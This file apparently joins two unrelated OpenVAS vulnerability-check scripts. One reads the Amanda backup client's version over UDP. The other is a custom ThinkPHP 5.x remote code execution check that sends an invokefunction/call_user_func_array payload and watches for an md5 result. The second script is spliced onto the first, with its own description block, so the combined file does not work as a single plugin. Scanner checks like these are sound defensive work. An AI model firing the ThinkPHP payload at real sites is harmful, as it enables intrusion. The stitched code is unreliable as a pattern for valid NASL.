###############################################################################
# OpenVAS Vulnerability Test
# $Id: amanda_detect.nasl 8236 2017-12-22 10:28:23Z cfischer $
#
# Amanda client version
#
# Authors:
# Paul Ewing <[email protected]>
#
# Copyright:
# Copyright (C) 2000 Paul J. Ewing Jr.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10462");
  script_version("$Revision: 8236 $");
  script_tag(name:"last_modification", value:"$Date: 2017-12-22 11:28:23 +0100 (Fri, 22 Dec 2017) $");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"0.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:N");
  script_name("Amanda client version");
  script_category(ACT_GATHER_INFO);
  script_copyright("This script is Copyright (C) 2000 Paul J. Ewing Jr.");
  script_family("Service detection");
  script_require_udp_ports(10080, 10081);

  script_tag(name:"summary", value:"This detects the Amanda backup system client
  version. The client version gives potential attackers additional
  information about the system they are attacking.");

  script_tag(name:"qod_type", value:"remote_banner");

  exit(0);
}

include("misc_func.inc");

function get_version( soc, port, timeout ) {

  local_var result, temp, version, data;

  if ( ! isnull( timeout ) )
    result = recv( socket:soc, length:2048, timeout:timeout );
  else
    result = recv( socket:soc, length:2048 );

  if( result ) {
    if( egrep( pattern:"^[^ ]+ [0-9]+\.[0-9]+", string:result ) ) {
      temp = strstr( result, " " );
      temp = temp - " ";
      temp = strstr( temp, " " );
      version = result - temp;
      data = string( "Amanda version: ", version );
      log_message( port:port, data:data, protocol:"udp" );
      register_service( port:port, ipproto:"udp", proto:"amanda" );
      set_kb_item( name:"Amanda/running", value:TRUE );
    }
  }
}

req = 'Amanda 2.3 REQ HANDLE 000-65637373 SEQ 954568800\nSERVICE ' + rand_str( length:8 ) + '\n';

port1 = 10080;
if( get_udp_port_state( port1 ) ) {
  soc1 = open_sock_udp( port1 );
  if( soc1 ) {
    send( socket:soc1, data:req );
    get_version( soc:soc1, port:port1, timeout:NULL );
    close( soc1 );
  }
}

port2 = 10081;
if( get_udp_port_state( port2 ) ) {
  soc2 = open_sock_udp( port2 );
  if( soc2 ) {
    send( socket:soc2, data:req );
    get_version( soc:soc2, port:port2, timeout:1 );
    close( soc2 );
  }
}

if(description)
{
script_oid(1545919522); # 设为时间戳

script_tag(name:"last_modification", value:"$Date: 2018-12-31 10:28:30 +0100 (Mon, 31 Dec 2018) $");

script_tag(name:"creation_date", value:"2018-12-27 22:05:22 +0100 (Thu, 27 Dec 2018)");

script_version("$Revision:2.0$");

script_name("ThinkPHP RCE(2018.12.09)");

    script_tag(name:"cvss_base", value:"8.3");

    script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C");
    
    # 设置脚本类型
# 类型如下：
# ACT_INIT: Plugin sets KB items.
# ACT_SlistlisCANNER: Plugin is a port scanner or similar (like ping).
# ACT_SETTINGS: Plugin sets KB items after ACT_SCANNER.
# ACT_GATHER_INFO: Plugin identites services, parses banners.
# ACT_ATTACK: For non-intrusive attacks (eg directory traversal).
# ACT_MIXED_ATTACK: Plugin launches potentially dangerous attacks.
# ACT_DESTRUCTIVE_ATTACK: Plugin attempts to destroy data.
# ACT_DENIAL: Plugin attempts to crash a service.
# ACT_KILL_HOST: Plugin attempts to crash target host.
script_category(ACT_ATTACK);

script_copyright("CopyRight: XinDun in 2018.12.27");

script_family("MyNVTs");

script_require_ports("Services/www", 80);

script_tag(name:"summary", value:"Send a payload: '?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Tr0y', expected return md5('Tr0y'): 8f95eca949e2ec377434ea3fea1cc381");

script_tag(name:"solution", value:"see https://blog.thinkphp.cn/869075 for more detials");

script_tag(name:"insight", value:"This vulnerability affects these versions: ThinkPHP v5.0: < 5.0.23 and ThinkPHP v5.1 < 5.1.31");

script_tag(name:"affected", value:"The site which powerd by thinkphp with specific version.");

exit(0);
}

# 添加库
include('/var/lib/openvas/plugins/http_func.inc'); # 路径不一定是这个
include('/var/lib/openvas/plugins/global_settings.inc'); # 路径不一定是这个


# --------------------------------
# 发送 payload

# 获取 www 端口，默认为 80
port = get_http_port(default: 80);

str = string("GET /index.php?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Tr0y HTTP/1.0\r\n\r\n");

# 发送 payload 并返回服务器的响应
recv = http_send_recv(port: port, data: str);

# DEBUG 使用，打印返回的 header+body
display(recv, "\n");

# 利用正则检查 payload 是否执行成功
vulnerable = egrep(pattern:'8f95eca949e2ec377434ea3fea1cc381', string:recv);


if(vulnerable) 
{
report = "Thinkphp v5.x Vulnerable!";
security_message( port:port, data:report); # 给 OpenVAS 的反馈，执行这个才会有 vulnerable 显示
}
else report = "Thinkphp v5.x NOT vulnerable";

# DEBUG 使用
# display(report);

exit( 0 );